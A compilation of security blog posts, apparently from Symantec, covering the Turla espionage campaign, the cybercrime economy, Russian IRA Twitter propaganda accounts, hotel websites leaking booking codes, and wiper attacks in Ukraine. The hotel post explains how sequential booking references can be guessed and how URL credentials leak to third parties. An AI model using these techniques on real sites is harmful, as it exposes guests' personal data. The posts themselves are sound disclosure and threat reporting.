Analysis of infections revealed that the attackers were heavily focused on a small number of countries. For example, in May of 2012, the office of the prime minister of a former Soviet Union member country was infected. This infection spread rapidly and up to 60 computers at the prime minister’s office were compromised.
Another attack saw a computer at the embassy to France of a second former Soviet Union member infected in late 2012. During 2013, infections began to spread to other computers linked to the network of this country’s ministry of foreign affairs. In addition, its ministry of internal affairs was also infected. Further investigation uncovered a systematic spying campaign targeted at its diplomatic service. Infections were discovered at embassies in Belgium, Ukraine, China, Jordan, Greece, Kazakhstan, Armenia, Poland, and Germany.
At least five other countries in the region were targeted by similar attacks. While the attackers have largely focused on the former Eastern Bloc, a number of other targets were also found. These included the ministry for health of a Western European country, the ministry for education of a Central American country, a state electrical authority in the Middle East, and a medical organization in the US.
Prior to publication, Symantec notified all relevant national authorities, such as Computer Emergency Response Centers (CERTs) that handle and respond to Internet security incidents.
Attack vectors
The group behind Turla uses spear phishing emails and watering hole attacks to infect victims. Some of the spear phishing emails purported to come from a military attaché at a Middle Eastern embassy and had an attachment masquerading as the minutes of meetings. Opening the attachment resulted in Trojan.Wipbot being dropped on to the victim’s computer. It is believed that Wipbot may be the delivery mechanism for Turla as they share several similarities in code and structure.
Figure 1. Spear phishing emails and watering hole attacks are used to infect victims with Trojan.Wipbot, which can then be used to install Trojan.Turla
Since September 2012, the group has compromised at least 84 legitimate websites to facilitate watering hole attacks. Websites owned by a number of different governments and international agencies were among those compromised by the attackers.
Visitors to these sites were being redirected to Web servers where a ‘fingerprinting’ script was executed. This script collected some identifying information about the visitor’s computer. This phase of the campaign appeared to serve as an intelligence trawl, gathering information about what browsers and plugins website visitors were using, which would help identify which exploits would work best against them.
The next phase of the operation was highly targeted, with servers then configured to drop Wipbot only to IP addresses associated with intended targets. In one instance, the malware delivered was disguised as a Shockwave installer bundle. Wipbot was then used to gather further information about the infected computer. If the attackers deemed the victim of interest, it appears likely that a second back door (Trojan.Turla) with far greater capabilities was downloaded on to the victim’s computer.
Wipbot appears to act as a reconnaissance tool, while Turla is used to maintain a long term presence on the victim’s computer. Analysis conducted by Symantec has found several technical connections between Wipbot and Turla which indicates the same group or larger organization wrote both pieces of code.
Turla
Symantec has been tracking the activities of the group behind Turla for a number of years. The identity of the attackers has yet to be established, although timestamps from activity associated with the attacks indicate that most activity occurs during the standard working day of the UTC +4 time zone.
Turla is an evolution of an older piece of malware, Trojan.Minit, which has been in operation since 2004. The current campaign is the work of a well-resourced and technically competent attack group that is capable of penetrating many network defenses. It is focused on targets that would be of interest to a nation state, with spying and theft of sensitive data among its objectives.
Symantec protection
Symantec has the following detection in place for the malware used in these attacks:
AV
Trojan.Turla
Trojan.Wipbot
IPS
System Infected: Trojan.Turla Activity
System Infected: Trojan.Turla Activity 2
Update – January 22, 2015:
Symantec Security Response has published a whitepaper containing more information about the attack group behind this campaign and detailed indicators of compromise for the malware involved. Download a copy of the paper entitled: The Waterbug Attack Group
|
Turns Out, Cyber Crime Does Pay - And the Numbers are Astounding
Research points to the development of a hyper-connected economy capable of generating and supporting revenue at an unprecedented scale
To most, the world of cyber crime exists as a shadowy universe of hoodie-wearing hackers or nation state gangs pilfering identity data and hawking intellectual property (IP) on the dark web for big bucks. In reality, however, cyber crime has morphed into an economy in its own right, spawning new platforms and illicit marketplaces now generating close to $1.5 trillion in revenues every year.
The evolution of cyber crime from an overt criminal act or specific attack vector to a booming economy was the subject of a study conducted by Dr. Michael McGuire, senior lecturer in Criminology at the University of Surrey, in England. The Web of Profit research, presented at April’s RSA conference, makes a case that cyber crime is now a hyper-connected economy capable of generating and supporting revenue at an unprecedented scale. In fact, McGuire argues that the cyber crime economy is nearly a mirror image of contemporary capitalism, including the rise of disruptive business models built on platforms and a place where data reigns supreme as the commodity currency used for trade.
“Both the legitimate and illegitimate economies come together within an increasingly cyber-criminogenic world—one where the tools and cultures of information crime become blurred and interchangeable with the tools and cultures of an information society and vice versa,” writes McGuire in the 178-page report.
The $1.5 trillion annual revenue figure, equivalent to the 13th highest ranked global GDP, takes into account money made in illicit and illegal online markets ($860 billion), theft of trade secrets and IP ($500 billion), and data trading ($160 billion), among other sources. Because the illegitimate cyber crime economy is increasingly interconnected to legitimate business, McGuire contends companies must radically broaden their perspective in order to rally the right tools and partnerships that will ensure the enterprise is adequately protected.
“Cyber security professionals tend to look at the point of the attack vector, which results in most responses being very limited to a few types of criminality,” he explains. “If we take a more holistic view of how the system is working, we can intervene more effectively.”
Platform Criminality
One of the more significant themes of McGuire’s research is that cyber crime, following in the footsteps of mainstream business, is shifting to a platform economy mimicking what you see with Facebook or Uber. Those existing platforms as well as new crimeware platforms serving up everything from hired cyber talent to DIY Criminal-Infrastructure-as-a-Service capabilities are now the frontlines for nefarious activity with data the coveted asset, McGuire maintains.
Existing online platforms are enabling and supporting crime (whether unwittingly or not) in a variety of ways. They’ve become key targets for data theft and hacks as witnessed by the Yahoo and SnapChat data breaches; they are fertile ground for malware distribution; they are increasingly used to distribute or sell illegal products and for money laundering; and they have become a resource for connecting criminals with victims, McGuire’s research found. Another interesting parallel with the legitimate economy: McGuire says criminal enterprises are embarking on their own digital transformation journeys, diversifying resources to explore new areas of crime. In fact, McGuire claims cyber crime enterprises are reinvesting up to 20% of their revenue streams back into new efforts to advance criminal activities—a figure he estimates at about $300 billion.
All along the way, data is the centerpiece, requiring C-suite and security professionals to rethink enterprise security protections. “The cyber security attitude towards data is prehistoric,” McGuire contends. “We need a more flexible attitude in understanding what data is and how it can be used so we can design more effective policies and strategies. It’s not just about protecting access to data in a simplistic sense, but a ground up rethinking of what cyber security is doing.”
McGuire’s report makes a number of recommendations to help cyber security professionals revamp strategies to address the new realities of the cyber crime economy. Among them:
Approach cyber crime more holistically, as a dynamic and evolving field of multiple actors and interdependencies.
Consider cyber attacks through the lens of economic gain, not just damage or data breaches, which creates a path to different solutions in areas like visualization or scanning and tracking technology.
Recognize the shift towards platform criminality, including new illegal online markets, which will require new tools for infiltrating and blocking activities.
Initiate more sensitive policy solutions and invest in software tools that go beyond simple surveillance and monitoring to mitigate corporate IP theft.
Work closely with financial agencies and law enforcement to identify strategic nodes and weak points within the ecosystem where protections and interventions can be applied.
Evolve data protection beyond privacy—data needs to be handled like traditional currencies and safeguarded with the requisite restrictions.
The bottom line, McGuire says, is that security professionals need to move beyond firefighting mode to something bigger and more strategic. “We have to move beyond locking up [the enterprise] with keys to thinking about the whole terrain in which crime occurs,” he says. “That’s the most productive way to take cyber security forward.”
If you found this information useful, you may also enjoy:
The Web of Profit
2018 Internet Security Threat Report
|
Twitterbots: Anatomy of a Propaganda Campaign
Internet Research Agency archive reveals a vast, coordinated campaign that was incredibly successful at pushing out and amplifying its messages.
Key Findings
The operation was carefully planned, with accounts often registered months before they were used – and well in advance of the 2016 U.S. presidential election. The average time between account creation and first tweet was 177 days.
A core group of main accounts was used to push out new content. These were often ”fake news” outlets masquerading as regional news outlets or pretended to be political organizations.
A much larger pool of auxiliary accounts was used to amplify messages pushed out by the main accounts. These usually pretended to be individuals.
The campaign directed propaganda at both sides of the liberal/conservative political divide in the U.S., in particular the more disaffected elements of both camps.
Most accounts were primarily automated, but they would frequently show signs of manual intervention, such as posting original content or slightly changing the wording of reposted contented, presumably in an attempt to make them appear more authentic and reduce the risk of their deletion. Fake news accounts were set up to monitor blog activity and automatically push new blog posts to Twitter. Auxiliary accounts were configured to retweet content pushed out by the main accounts.
The most retweeted account garnered over 6 million retweets. Only a small fraction (1,850) of those retweets came from other accounts within the dataset, meaning many of the retweets could have come from genuine Twitter users.
One of the main talking points of the 2016 U.S. presidential election campaign involved attempts to surreptitiously influence public opinion using social media campaigns. In the months after the election, it quickly became apparent that a sophisticated propaganda operation had been directed against American voters.
Not surprisingly, news of these campaigns caused widespread public concern, prompting social media firms to launch investigations into whether their services had been misused. In October 2018, Twitter released a massive dataset of content posted on its service by the Internet Research Agency (IRA), a Russian company responsible for the largest propaganda campaign directed against the U.S.
The dataset consisted of 3,836 Twitter accounts and nearly 10 million tweets. These accounts had amassed almost 6.4 million followers and were following 3.2 million accounts. The sheer volume of data was enormous, more than 275 GB.
The archive has proven to be a treasure trove of information on how the IRA’s propaganda campaign operated. For example, prior to the release, many people assumed that its posts were focused on just one side of the political spectrum. Once the data was made public, it quickly became obvious that in order to achieve its goal, the campaign directed propaganda at both sides of the liberal/conservative political divide in the U.S., in particular the more disaffected elements of both camps. The main objective of the campaign instead appeared to be sowing discord by attempting to inflame opinions on both sides. This was not just confined to the online sphere. Several of the accounts were used to organize political rallies in the U.S. and some of the most influential accounts in the dataset were used to promote these events to the largest possible audience.
However, believing that there is a lot to learn from this data beyond its messages and target audience, we decided to carry out some in-depth analysis of the archive to learn more about how this propaganda campaign worked. What we discovered was that this was not an ad-hoc response to political events in the U.S. Instead, the evidence points to a carefully planned and coordinated operation, with the groundwork often laid months in advance.
While the tactics employed changed somewhat over time, the basic template for this operation remained the same, utilizing a small core of accounts to push out new content and a wider pool of automated accounts to amplify those messages.
Along the way, we also came across some interesting bits of information, such as what appeared to be some rogue operators using monetized link-shortening services to make some money on the side.
Different account types
Once we started analyzing the data, it became apparent that the accounts could be divided into two main categories, which we called main accounts and auxiliary accounts. Each category had different characteristics and played a different role.
Main accounts had at least 10,000 followers but followed substantially fewer accounts. They were primarily used to publish new tweets.
Auxiliary accounts had less than 10,000 followers, but often followed more accounts than that. Their main purpose was to retweet messages from other accounts, although they were also used to publish original tweets. Not surprisingly, the majority of accounts were auxiliary accounts. We identified 123 main accounts and 3,713 auxiliary accounts within the dataset.
Main accounts generally were ”fake news” outlets masquerading as regional news outlets, or pretending to be political parties or hashtag games—the popular Twitter game that involves people sharing anecdotes or jokes based on a single theme, such as #5WordsToRuinADate. Based on their creation date they were usually created individually or in small batches. The default language selected for main accounts was always either English or Russian.
Auxiliary accounts usually pretended to be individuals, spreading the content created by the main accounts by retweeting it. These accounts were usually created in batches and sometimes hundreds of auxiliary accounts were created on the same day. For example, during May 2014, seven fake news accounts were set up by the agency, along with 514 auxiliary accounts.
Many of the accounts were created long before they were used. The average time between account creation and first tweet was 177 days. The average length of time an account remained active was 429 days.
Figure 1. Anatomy of a propaganda campaign
Influential accounts
Some of the Twitter accounts created by the attackers managed to be extraordinarily influential. The most retweeted account within the dataset was TEN_GOP. Created in November 2015, the account masqueraded as a group of Republicans in Tennessee. It appears to have been manually operated.
In less than two years TEN_GOP managed to rack up nearly 150,000 followers. Despite only tweeting 10,794 times, the account garnered over 6 million retweets. Only a tiny fraction (1,850) of those retweets came from other accounts within the dataset. In other words, almost all of its retweets came from accounts outside the dataset, meaning many could have been real Twitter users.
Due to the popularity of this account, the IRA created two backup accounts in case TEN_GOP should be discovered and shutdown—ELEVEN_GOP and realTEN_GOP—both of which have the same profile description: “This is our backup account in case anything happens to @TEN_GOP”.
As has already been noted, the IRA’s campaign targeted both ends of the political spectrum in the U.S. and this is reflected in the breakdown of influential accounts. The top 20 most retweeted English-language accounts were split evenly between conservative and liberal messages.
Table 1. Twenty most retweeted English language accounts
User name Profile description Retweets
TEN_GOP Unofficial Twitter of Tennessee Republicans. Covering breaking news, national politics, foreign policy and more. #MAGA #2A 6,000,296
Crystal1Johnson It is our responsibility to promote the positive things that happen in our communities. 3,776,481
Pamela_Moore13 Southern. Conservative. Pro God. Anti Racism 2,223,854
wokeluisa APSA. #Blackexcellence. Political science major 1,217,081
JemiSHaaaZzz Teacher, Reader, Writer, Resister. #Resistance RESPECT LOVE LOYALTY 1,171,652
KaniJJackson Follow the example set by Mrs Obama; peace, love, acceptance & vigilance #Impeach45 #Resist #GunReformNow 821,178
gloed_up No black person is ugly #BRONZE #BlackLivesMatter #BlackToLive 787,521
TrayneshaCole Love for all my people of Melanin. Your BLACK is BEAUTIFUL! #MyPussyMyChoice #BlackGirlsMagic #BlackLivesMatter 585,768
Jenn_Abrams Calm down, I'm not pro-Trump. I am pro-common sense. Any offers/ideas/questions? DM or email me [email protected] (Yes, there are 3 Ns) 559,978
SouthLoneStar Proud TEXAN and AMERICAN patriot #2a #prolife #Trump2016 #TrumpPence16 Fuck Islam and PC. Don't mess with Texas! 557,781
BlackNewsOutlet Freedom is never given; it is won. #BlackLivesMatter 491,973
BlackToLive We want equality and justice! And we need you to help us. Join our team and write your own articles! DM us or send an email: [email protected] 478,238
TheFoundingSon Business Owner, Proud Father, Conservative, Christian, Patriot, Gun rights, Politically Incorrect. Love my country and my family #2A #GOP #tcot #WakeUpAmerica 454,868
BleepThePolice For a second at least, I'm resurrecting the peace #Blacktivist #BlackLivesMatter 306,157
USA_Gunslinger Truth is strong, and sometime or other will prevail! 267,192
tpartynews [NO DATA] 144,508
PamelaKealer13 [NO DATA] 114,198
Jeblary2016 2016 US presidential candidate 106,553
10_gop Conservative, daily news that you won't find on mainstream media. #MAGA Retweeted by @realDonaldTrump 😇 105,587
Blk_Voice Activist. Feminist. Celebrating and highlighting Black excellence. 103,967
There is a similar split in themes in the breakdown of the most followed English language accounts. Thirty-five percent pretended to support conservative causes, while 30 percent pretended to back liberal causes. The remainder masqueraded as general or political news outlets.
Table 2. Twenty most followed English language accounts
User name Profile description Number of followers
TEN_GOP Unofficial Twitter of Tennessee Republicans. Covering breaking news, national politics, foreign policy and more. #MAGA #2A 147,767
Jenn_Abrams Calm down, I'm not pro-Trump. I am pro-common sense. Any offers/ideas/questions? DM or email me [email protected] (Yes, there are 3 Ns) 79,152
Pamela_Moore13 Southern. Conservative. Pro God. Anti Racism 72,121
TodayNYCity New York City's local news on Twitter. Breaking news, sports, events and international news. Tweet us or DM 66,980
ELEVEN_GOP This is our back-up account in case anything happens to @TEN_GOP 59,279
wokeluisa APSA. #Blackexcellence. Political science major 57,295
Crystal1Johnson It is our responsibility to promote the positive things that happen in our communities. 56,581
SouthLoneStar Proud TEXAN and AMERICAN patriot #2a #prolife #Trump2016 #TrumpPence16 Fuck Islam and PC. Don't mess with Texas! 53,999
TheFoundingSon Business Owner, Proud Father, Conservative, Christian, Patriot, Gun rights, Politically Incorrect. Love my country and my family #2A #GOP #tcot #WakeUpAmerica 47,413
USA_Gunslinger Truth is strong, and sometime or other will prevail! 44,895
WashingtOnline Breaking news, weather, traffic and more for Washington. DM us anytime. RTs not endorsements 40,762
BlackNewsOutlet Freedom is never given; it is won. #BlackLivesMatter 40,458
Politweecs Tweets and politics 36,094
NewOrleansON Breaking news, weather, traffic and more for New Orleans and Louisiana. DM us anytime. RTs not endorsements 35,988
KaniJJackson Follow the example set by Mrs Obama; peace, love, acceptance & vigilance #Impeach45 #Resist #GunReformNow 34,276
WarfareWW Political & Military Analyst 33,375
PigeonToday America’s Weakest Primetime Lineup Anywhere! Follow Merica's #1 cable news network, delivering you breaking news, insightful analysis, and must-see memes. 32,347
BlackToLive We want equality and justice! And we need you to help us. Join our team and write your own articles! DM us or send an email: [email protected] 29,472
KansasDailyNews Local news, sports, business, politics, entertainment, travel and opinion for Kansas. DM us 24/7 29,357
gloed_up No black person is ugly #BRONZE #BlackLivesMatter #BlackToLive 28,943
Fake news
Most of the fake news accounts created by the agency pretended to be local news outlets, such as “New Orleans Online”, “El Paso Top News”, or “San Jose Daily”. The majority of these accounts were created between May and August of 2014, but lay dormant until January 2015, when most of them started tweeting. This suggests that the fake news element of the operation was planned well in advance.
The vast majority (96 percent) of these fake news accounts were fully automated, using services to monitor blog activity and automatically push new blog posts to Twitter. Another two percent of these accounts queued tweets for publication at scheduled times.
Most followed a broad pattern of activity, with activity trending upwards from the beginning of 2015 until the summer of 2016 when there was a sudden fall in activity. By August 2016, all but one fake news account had stopped tweeting.
This is likely because the fake news accounts had been using a service known as Twitterfeed to feed their blogs to Twitter. During 2016, Twitterfeed announced that it would close by October of that year and the fake news accounts began to transition to an alternative service called Twibble. The drop off in activity during August 2016 could have been caused by technical problems during the changeover. By December the changeover was complete and the fake news accounts had resumed business as usual.
Prolific accounts
Not surprisingly, a majority (55 percent) of the most prolific accounts were fake news accounts. However, a significant number of prolific accounts had their identities masked by Twitter because they had less than 5,000 followers. Most of these accounts acted as auxiliary accounts and were automated in the same manner as most of the fake news accounts. However, while fake news accounts were automated to publish original content, these other accounts were automated to retweet content.
Table 3. Top twenty most prolific English language accounts
User name Display name User profile description English language tweet count
Anonymized Anonymized No more #HappyHolidays shit!!! It's #MerryChristmas!!!!! #BuildTheWall #DrainTheSwamp #MAGAus¸ @realDonaldTrump 133,315
TodayNYCity New York City Today New York City's local news on Twitter. Breaking news, sports, events and international news. Tweet us or DM 58,630
ChicagoDailyNew Chicago Daily News Local news, sports, business, politics, entertainment, travel and opinion for Chicago and Illinois. DM us 24/7 53,071
KansasDailyNews KansasCityDailyNews Local news, sports, business, politics, entertainment, travel and opinion for Kansas. DM us 24/7 51,648
ScreamyMonkey Screamy Monkey First frontier.News aggreagtor. 45,947
NewOrleansON New Orleans Online Breaking news, weather, traffic and more for New Orleans and Louisiana. DM us anytime. RTs not endorsements 45,894
DailySanFran San Francisco Daily Follow for San Francisco's breaking news, special reports, entertainment and more from @DailySanFran 44,711
Anonymized Anonymized Never Eat These Foods 44,416
Anonymized Anonymized All major information policy in the world, we are ready to give you the most accurate and timely information in the field of politics and economics 35,016
Anonymized Anonymized Wife, Mother, Patriot, Friend 34,251
TodayPittsburgh Pittsburgh Today Pittsburgh's local news on Twitter. Breaking news, sports, events and international news. Tweet us or DM 33,104
WashingtOnline Washington Online Breaking news, weather, traffic and more for Washington. DM us anytime. RTs not endorsements 32,880
RoomOfRumor Room Of Rumor [NO DATA] 31,126
Seattle_Post Seattle Post Be the first to know Seattle's local news. Politics, sport, entertainment, business, features and more that you need to know and share 29,821
OnlineCleveland Cleveland Online Breaking news, weather, traffic and more for Cleveland. DM us anytime. RTs not endorsements 27,291
WorldOfHashtags World Of Hashtags Hosted by @GiselleEvns. Join #WorldOfHashtags game on Mondays at 9AM ET/ Wednesdays at 10AM ET 26,417
PhoenixDailyNew Phoenix Daily News Local news, sports, business, politics, entertainment, travel and opinion for Phoenix and Arizona. DM us 24/7 25,730
Anonymized Anonymized Workout Advice for a better life. 25,453
gloed_up 1-800-WOKE-AF No black person is ugly #BRONZE #BlackLivesMatter #BlackToLive 25,366
DetroitDailyNew Detroit Daily News Local news, sports, business, politics, entertainment, travel and opinion for Detroit. DM us 24/7 25,193
Following the links
Some tweets within the dataset contained links to other content. The majority of links were shortened URLs, masking the final destination. To get a picture of which sites these tweets were linking to, we followed each shortened URL tweeted during 2016 to find out the ultimate link destination. The largest number of links led to other Twitter posts, some of which were to other suspended accounts.
Figure 2. Most linked-to English language websites in 2016
Aside from Twitter, other social media services such as YouTube, Instagram, and Facebook also figured highly in the list of websites being linked to. The rest of the list was mostly filled out by links to legitimate media outlets. This suggests that, along with delivering “fake news” the campaign also leveraged real news stories that supported messages it was pushing.
2016 U.S. presidential election
During the months prior to the 2016 U.S. presidential election, there was a marked increase in activity. Between January and November 2016, accounts within the dataset sent 771,954 English language tweets, with a marked uptick in activity as November approached.
Figure 3. English language tweets by month, January 2016 – November 2016
Analysis of the topics tweeted by English language accounts during this time period reveals that content was heavily focused on the election and quite evenly split between topics relating to either side of the political spectrum in the U.S.
Figure 4. Percentage of English-speaking accounts tweeting about election specific topics January to November 2016. Topics were defined by Symantec from groups of similar or related hashtags. Most accounts tweeted on more than one topic.
Political rallies
Perhaps the most overt aspect of the propaganda campaign was the IRA’s organization of a number of political rallies in the U.S. Despite the fact that the accounts comprised of fake personas and organizations, they nevertheless succeeded in mobilizing people to attend events. Besides its online activities, the campaign’s operators also organized rallies supporting positions on both sides of the political spectrum.
Figure 5. Tweets promoting IRA-organized rallies by month
One account, @March_for_Trump, advertised more events than any other account in the dataset, promoting events 47 times. Most of the other accounts involved in promoting rallies are anonymized as they have less than 5,000 followers.
Only nine accounts in the dataset retweeted March_for_Trump’s tweets promoting rallies, but the majority of these retweets came from the most followed or retweeted accounts in the dataset, suggesting the campaign’s operators had prioritized promoting these events.
Professional campaign
While this propaganda campaign has often been referred to as the work of trolls, the release of the dataset makes it obvious that it was far more than that. It was planned months in advance and the operators had the resources to create and manage a vast disinformation network.
It was a highly professional campaign. Aside from the sheer volume of tweets generated over a period of years, its orchestrators developed a streamlined operation that automated the publication of new content and leveraged a network of auxiliary accounts to amplify its impact.
The sheer scale and impact of this propaganda campaign is obviously of deep concern to voters in all countries, who may fear a repeat of what happened in the lead-up to the U.S. presidential election in 2016.
A growing awareness of the disinformation campaigns may help blunt their impact in future. If you’re concerned about falling victim to similar campaigns, read our blog post How to Spot a Twitter Bot, which can be found on Symantec’s Election Security blog.
|
Two in Three Hotel Websites Leak Guest Booking Details and Allow Access to Personal Data
Hospitality services’ websites may leak your booking details, allowing others to view your personal data or even cancel your reservation.
While researching possible formjacking attacks on hotel websites recently, I stumbled across a separate issue that could potentially leak my and other guests' personal data. I tested multiple websites—including more than 1,500 hotels in 54 countries—to determine how common this privacy issue is. I found that two in three, or 67 percent, of these sites are inadvertently leaking booking reference codes to third-party sites such as advertisers and analytics companies. All of them did have a privacy policy, but none of them mentioned this behavior explicitly.
"Symantec found that 67% of hotel websites are leaking guests’ booking and personal details https://symc.ly/2P1g044"
CLICK TO TWEET
While it's no secret that advertisers are tracking users' browsing habits, in this case the information shared could allow these third-party services to log into a reservation, view personal details, and even cancel the booking altogether.
It has been almost a year since the General Data Protection Regulation (GDPR) came into effect in Europe, but many hotels affected by this issue have been very slow to acknowledge, much less address, it.
The sites I tested ranged from two-star hotels in the countryside to luxurious five-star resorts on the beach. Basically, I randomly chose locations where I would like to spend my vacation, then selected the top search engine results for hotels in those locations. Some hotel sites I tested are part of larger, well-known hotel chains, meaning my research for one hotel applies to other hotels in the chain.
Some reservation systems were commendable, as they only revealed a numerical value and the date of the stay and did not divulge any personal information. But the majority leaked personal data, such as:
Full name
Email address
Postal address
Mobile phone number
Last four digits of credit card, card type, and expiration date
Passport number
Figure 1. Sample reservation confirmation showing the types of guest’s booking data that could be leaked
What causes these leaks?
More than half (57 percent) of the sites I tested send a confirmation email to customers with a direct access link to their booking. This is provided for the convenience of the customer, allowing them to simply click on the link and go straight to their reservation without having to log in.
More than half (57 percent) of the hotel sites send a confirmation email to customers with a direct access link to their booking.
Since the email requires a static link, HTTP POST web requests are not really an option, meaning the booking reference code and the email are passed as arguments in the URL itself. On its own, this would not be an issue. However, many sites directly load additional content on the same website, such as advertisements. This means that direct access is shared either directly with other resources or indirectly through the referrer field in the HTTP request. My tests have shown that an average of 176 requests are generated per booking, although not all these requests contain the booking details. This number indicates that the booking data could be shared quite widely.
To demonstrate, let's assume the confirmation email contains a link in the following format, which would automatically log me into my booking overview:
https://booking.the-hotel.tld/retrieve.php?prn=1234567&[email protected]
The loaded page, in this case the retrieve.php website, may call many remote resources. Some web requests made for these external objects will directly send the full URL, including the credentials, as a URL argument.
The following is an example of an analytics request, which contains the full original URL including the arguments as an argument on its own:
https://www.google-analytics.com/collect?v=1&_v=j73&a=438338256&t=pageview&_s=1&dl=https%3A%2F%2Fbooking.the-hotel.tld%2Fretrieve.php%3Fprn%3D1234567%26mail%3Djohn%5Fsmith%40myMail.tld&dt
=Your%20booking&sr=1920x1080&vp=1061x969&je=0&_u=SCEBgAAL~&jid=1804692919&gjid=
1117313061&cid=1111866200.1552848010&tid=UA-000000-2&_gid=697872061.1552848010>m=2wg3b2MMKSS89&z=337564139
As mentioned, the same data is also in the referrer field, which will be sent along by the browser in most cases. This results in the reference code being shared with more than 30 different service providers, including well-known social networks, search engines, and advertisement and analytics services. This information could allow these third-party services to log into a reservation, view personal details, and even cancel the booking altogether.
Note that in this scenario, the fault is not on the service provider's side.
There are other scenarios in which the booking data may also be leaked. Some sites pass on the information during the booking process, while others leak it when the customer manually logs into the website. Others generate an access token, which is then passed in the URL instead of the credentials, which is not good practice either.
In most cases, I found that the booking data remains visible, even if the reservation has been canceled, granting an attacker a large window of opportunity to steal personal information.
Hotel comparison websites and booking engines appear to be slightly more secure. From the five services that I tested, two leaked the credentials and one sent the login link without encryption.
It should be noted that I identified some well-configured websites that digest the credentials first and then redirect after they set a cookie, ensuring data isn’t leaked.
Unencrypted links
It could be argued that the privacy risk with this issue is low given the data is only shared with third-party providers that are trusted by the websites. However, it is concerning that I found more than one-quarter (29 percent) of the hotel sites did not encrypt the initial link sent in the email that contained the ID. A potential attacker could therefore intercept the credentials of the customer who clicks on the HTTP link in the email, for example, to view or modify his or her booking. This may occur at public hotspots such as the airport or the hotel, unless the user protects the connection with VPN software. I also observed one booking system that leaked data during the booking process to a server over HTTP before the connection got redirected to HTTPS.
Twenty-nine percent of hotel sites did not encrypt the initial link sent in the email that contained the ID. This means a potential attacker could intercept the credentials of the customer who clicks on the HTTP link in the email.
Unfortunately, this practice is not unique to the hospitality sector. Inadvertent sharing of sensitive information over URL arguments or in the referrer field is prevalent among websites. In the past couple of years, I have seen similar issues with multiple airlines, holiday attractions, and other websites. Other researchers reported similar issues in February 2019 wherein unencrypted links were used across multiple airline service providers.
Further issues
I also found that multiple websites allow brute forcing of the booking reference as well as enumeration attacks. In many cases, the booking reference code is simply incremented from one booking to the next. This means that if the attacker knows the email or the last name of the customer, they can guess that customer's booking reference number and log in. Brute forcing booking numbers is a widespread issue in the travel industry and I have blogged about it before.
Such an attack might not scale well, but it does work well when an attacker has a specific target in mind or when the target location is known, for example a conference hotel. With some websites, the customer's email or name is not even needed on the backend—all that is required is a valid booking reference code. I found multiple examples of these coding mistakes, which would have allowed me to not only access all active reservations for a large hotel chain, but also view every valid flight ticket of an international airline.
One booking engine was smart enough to create a random PIN code for the guest to use together with the booking reference number. Unfortunately, the login was not bound to the actual reservation that was accessed. An attacker could therefore simply use their own valid credentials to log in and still access any booking. At the time, I did not see any evidence that there were any rate limitations in the backend that would slow down such attacks.
What are the risks?
The 2018 Norton LifeLock Cyber Safety Insights Report recently revealed consumers are concerned about their privacy (83 percent), but most say they accept certain risks to make life more convenient (61 percent).
Many individuals regularly share details of their travels by posting photos on social media networks. Some don't even bother blurring out the booking reference of their tickets. These individuals may not be too concerned about their privacy and may actually want their followers to know about their whereabouts, but I'm fairly sure they would pay more attention should they arrive at their hotel and find that their reservation has been canceled. An attacker might decide to cancel a reservation just for fun or as personal revenge, but it could also be to damage the reputation of a hotel as part of an extortion scheme or as an act of sabotage carried out by a competitor.
There have also been quite a few data breaches in the hospitality sector and exposure of data on poorly configured cloud data buckets. Such information could then be sold on underground markets or be used to commit identity fraud. The more complete the gathered data set is, the more valuable it is.
Scammers could also use data gathered this way to send convincing personalized spam or carry out other social engineering attacks. Supplying personal information could boost the credibility of extortion mails, like the ones that claim you have been hacked.
Moreover, targeted attack groups may also be interested in the movements of business professionals and government employees. A number of APT groups such as DarkHotel/Armyworm, OceanLotus/Destroyer, Swallowtail, and Whitefly are known to have compromised targets in the hospitality sector. There are various reasons why these groups are interested in this sector, including for general surveillance purposes, tracking a target's movements, identifying individuals accompanying them, or finding out how long someone is staying in a particular place. It could also allow for physical access to a target's location.
Resolving the issue
Under the GDPR, the personal data of individuals in the EU must be better protected in light of such issues. However, the affected hotels' response to my findings was disappointing.
The affected hotels' response was disappointing. A surprising 25 percent of data privacy officers did not reply within six weeks.
I contacted the data privacy officers (DPOs) of the affected hotels and informed them of my findings. A surprising 25 percent of DPOs did not reply within six weeks. One email bounced, as the email address in the privacy policy was no longer active. Of those who did respond, it took them an average of 10 days. Those who did respond mainly confirmed receiving my inquiry and committed to investigating the issue and implementing any necessary changes. Some argued that it wasn't personal data at all and that the data has to be shared with advertising companies as stated in the privacy policy. Some admitted that they are still updating their systems to be fully GDPR-compliant. Other hotels that use external services for their booking systems became concerned that service providers turned out not to be GDPR-compliant after all, indicating the hotels may not have conducted proper vetting of their service booking partners per GDPR requirements.
Mitigation
Booking sites should use encrypted links (HTTPS) and ensure that no credentials are leaked as URL arguments. Customers can check if links are encrypted or if personal data, such as their email address, is passed as visible data in the URL. They can also use VPN services to minimize their exposure on public hotspots. Unfortunately, for the average hotel guest, spotting such leaks may not be an easy task, and they may not have much choice if they want to book a specific hotel.
The fact that this issue exists, despite the GDPR coming into effect in Europe almost one year ago, suggests that the GDPR's implementation has not completely addressed how organizations respond to data leakage. More than 200,000 cases of GDPR violations, complaints, and data breaches have been reported so far, and users' personal data remains at risk.
Figure 2. How your private data could be compromised
|
Ukraine: Disk-wiping Attacks Precede Russian Invasion
Destructive malware deployed against targets in Ukraine and other countries in the region in the hours prior to invasion.
UPDATE February 24, 2022, 13:42: This blog has been updated with details about ransomware being used as a possible decoy during some wiper attacks.
UPDATE February 25, 2022, 17:00: This blog has been updated with details on how a known Microsoft SQL Server vulnerability (CVE-2021-1636) was exploited in at least one attack.
A new form of disk-wiping malware (Trojan.Killdisk) was used to attack organizations in Ukraine shortly before the launch of a Russian invasion this morning (February 24). Symantec, a division of Broadcom Software, has also found evidence of wiper attacks against machines in Lithuania. Sectors targeted included organizations in the financial, defense, aviation, and IT services sectors.
Trojan.Killdisk comes in the form of an executable file, which is signed by a certificate issued to Hermetica Digital Ltd. It contains 32-bit and 64-bit driver files which are compressed by the Lempel-Ziv algorithm stored in their resource section. The driver files are signed by a certificate issued to EaseUS Partition Master. The malware will drop the corresponding file according to the operating system (OS) version of the infected system. Driver file names are generated using the Process ID of the wiper
Once run, the wiper will damage the Master Boot Record (MBR) of the infected computer, rendering it inoperable. The wiper does not appear to have any additional functionality beyond its destructive capabilities.
Attack chain
Initial indications suggest that the attacks may have been in preparation for some time. Temporal evidence points to potentially related malicious activity beginning as early as November 2021. However, we are continuing to review and verify findings.
In the case of an attack against one organization in Ukraine, the attackers appear to have gained access to the network on December 23, 2021, via malicious SMB activity against a Microsoft Exchange Server. This was immediately followed by credential theft. A web shell was also installed on January 16, before the wiper was deployed on February 23.
